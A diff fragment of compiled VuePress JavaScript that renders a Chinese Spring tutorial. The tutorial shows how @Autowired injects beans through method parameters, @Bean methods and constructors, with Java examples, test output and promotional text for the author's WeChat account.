)]),t("br")])]),t("p",[s._v("接下来,我们在AutowiredConfig类中实例化Fish类,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br")])]),t("p",[s._v("接下来,我们在AutowiredTest类中创建testAutowired02()方法,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Test")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("testAutowired02")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建IOC容器")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),s._v(" context "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AnnotationConfigApplicationContext")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("AutowiredConfig")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" fish "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n context"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("close")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br")])]),t("p",[s._v("运行testAutowired02()方法,在输出的结果信息中存在如下一行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("null"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("说明此时的Fish类中的Cat对象为空。此时,我们可以将Cat对象作为一个参数传递到AutowiredConfig类的fish()方法中,并且将Cat对象设置到Fish中,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" fish "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("当然,我们也可以使用@Autowired注解来标注fish()方法中的cat参数,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Bean")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),s._v(" fish "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Fish")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setCat")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br")])]),t("p",[s._v("接下来,我们再次运行testAutowired02()方法,在输出的结果信息中存在如下一行信息。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Fish"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("cat"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("io.mykit.spring.plugins.register.bean.Cat@21de60b4"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("说明Cat对象被成功创建并设置到了Fish类中。")]),s._v(" "),t("p",[t("strong",[s._v("结论:如果方法只有一个IOC容器中的对象作为参数,当@Autowired注解标注在这个方法的参数上时,我们可以将@Autowired注解省略。")])]),s._v(" "),t("h2",{attrs:{id:"重磅福利"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#重磅福利"}},[s._v("#")]),s._v(" 重磅福利")]),s._v(" "),t("p",[s._v("关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,后台回复 “"),t("strong",[s._v("设计模式")]),s._v("” 关键字领取《"),t("strong",[s._v("深入浅出Java 23种设计模式")]),s._v("》PDF文档。回复“"),t("strong",[s._v("Java8")]),s._v("”关键字领取《"),t("strong",[s._v("Java8新特性教程")]),s._v("》PDF文档。回复“"),t("strong",[s._v("限流")]),s._v("”关键字获取《"),t("strong",[s._v("亿级流量下的分布式限流解决方案")]),s._v("》PDF文档,三本PDF均是由冰河原创并整理的超硬核教程,面试必备!!")]),s._v(" "),t("p",[t("font",{attrs:{color:"#FF0000"}},[t("strong",[s._v("好了,今天就聊到这儿吧!别忘了点个赞,给个在看和转发,让更多的人看到,一起学习,一起进步!!")])])],1),s._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),t("blockquote",[t("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[121],{662:function(s,t,a){"use strict";a.r(t);var n=a(7),e=Object(n.a)({},(function(){var s=this,t=s._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[t("h1",{attrs:{id:"【spring注解驱动开发】如何实现方法、构造器位置的自动装配-我这样回答让面试官很满意"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#【spring注解驱动开发】如何实现方法、构造器位置的自动装配-我这样回答让面试官很满意"}},[s._v("#")]),s._v(" 【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!")]),s._v(" "),t("blockquote",[t("p",[s._v("在 "),t("strong",[s._v("冰河技术")]),s._v(" 微信公众号前面的文章中,我们介绍了如何使用注解来自动装配Spring组件。之前将的都是在来的字段上添加注解,那有没有什么方法可以实现方法、构造器位置的自动装配吗?今天我们就一起来探讨下如何实现方法、构造器位置的自动装配。")]),s._v(" "),t("p",[s._v("关注 "),t("strong",[s._v("冰河技术")]),s._v(" 技术微信公众号,后台回复“spring注解”关键字,领取项目工程源码。")])]),s._v(" "),t("h2",{attrs:{id:"再谈-autowired注解"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#再谈-autowired注解"}},[s._v("#")]),s._v(" 再谈@Autowired注解")]),s._v(" "),t("p",[s._v("在我发表在 "),t("strong",[s._v("冰河技术")]),s._v(" 微信公众号的《"),t("a",{attrs:{href:"https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247486002&idx=1&sn=9e42ec6586363d6ab1e61beb14ee3322&chksm=cee515fff9929ce951a597f0cdb0bb04a615aef1287cac954645cdfd551518c0169350cd846e&token=1511192793&lang=zh_CN#rd",target:"_blank",rel:"noopener noreferrer"}},[s._v("【Spring注解驱动开发】使用@Autowired@Qualifier@Primary三大注解自动装配组件,你会了吗?"),t("OutboundLink")],1),s._v("》一文中简单介绍了下@Autowired注解注解的使用方法。下面,我们再来看下@Autowired注解的源码。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("beans"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("factory"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Documented")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Retention")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("java"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("lang"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("annotation"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Target")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONSTRUCTOR")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("METHOD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PARAMETER")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("ANNOTATION_TYPE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Retention")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RetentionPolicy")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("RUNTIME")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Documented")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@interface")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Autowired")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\t"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("boolean")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("required")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("default")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token boolean"}},[s._v("true")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br")])]),t("p",[s._v("我们通过@Autowired注解的源码可以看出,在@Autowired注解上标注有如下的注解信息。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Target")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("CONSTRUCTOR")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("METHOD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PARAMETER")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("FIELD")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ElementType")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("ANNOTATION_TYPE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br")])]),t("p",[s._v("可以看出@Autowired注解不仅可以标注在字段上。也可以标注在构造方法上,实例方法上,参数上。")]),s._v(" "),t("h2",{attrs:{id:"项目案例"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#项目案例"}},[s._v("#")]),s._v(" 项目案例")]),s._v(" "),t("h3",{attrs:{id:"案例准备"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例准备"}},[s._v("#")]),s._v(" 案例准备")]),s._v(" "),t("p",[s._v("接下来,我们在项目中新建一个Dog类,在Doc类中有一个Cat类的引用,并且我们使用@Component注解将Dog类加载到IOC容器中,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("mykit"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("spring"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("plugins"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("register"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("import")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token import"}},[t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("springframework"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("stereotype"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")])]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Component")])]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 测试实体类\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Dog")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Cat")]),s._v(" cat"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token 